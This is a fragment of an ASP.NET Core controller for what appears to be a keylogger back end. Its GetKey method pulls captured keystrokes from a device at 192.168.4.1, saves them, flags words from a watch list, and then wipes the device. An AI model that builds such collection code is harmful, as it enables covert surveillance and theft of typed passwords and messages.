public async Task <IActionResult> Create([Bind("Id,Description,CreationDate")] DetectedWord detectedWord) { if (ModelState.IsValid) { _context.Add(detectedWord); await _context.SaveChangesAsync(); return(RedirectToAction(nameof(Index))); } return(View(detectedWord)); }
//public async Task<string> GetKey() //{ // string baseUrl = "http://localhost:8889/keylog2.html"; // var client = new HttpClient(); // var data = await client.GetStringAsync(baseUrl); // var wordList = await _context.WordLists.ToListAsync(); // if (!string.IsNullOrEmpty(data)) // { // string addSpace = data.Replace("<", " <"); // string replaceString = addSpace.Replace("\n ", " "); // replaceString = replaceString.Replace("\n", " "); // List<string> words; // words = replaceString.Split(" ").ToList(); // foreach (var word in words) // { // DetectedWord detectedWord = new DetectedWord(); // Keylogger keylogger = new Keylogger(); // WordList detection = new WordList(); // keylogger.Keystroke = word; // _context.Add(keylogger); // detection = wordList.Where(x => x.Description.ToLower() == word.ToLower()).FirstOrDefault(); // if (detection != null) // { // detectedWord.Description = detection.Description; // _context.Add(detectedWord); // } // await _context.SaveChangesAsync(); // } // } // return data; //} public async Task <string> GetKey() { //string baseUrl = "http://localhost:8889/keylog2.html"; string baseUrl = "http://192.168.4.1"; var client = new HttpClient(); var data = await client.GetStringAsync(baseUrl); var wordList = await _context.WordLists.Select(x => x.Description).ToListAsync(); if (!string.IsNullOrEmpty(data)) { Keylogger keylogger = new Keylogger(); keylogger.Keystroke = data; _context.Add(keylogger); var detections = wordList.Where(x => data.Contains(x)).ToList(); if (detections != null) { foreach (var detection in detections) { DetectedWord detectedWord = new DetectedWord(); detectedWord.Description = detection; _context.Add(detectedWord); } } await _context.SaveChangesAsync(); //clear the data after save string baseUrl2 = "http://192.168.4.1/clear"; var client2 = new HttpClient(); var data2 = await client.GetStringAsync(baseUrl2); } return(data); }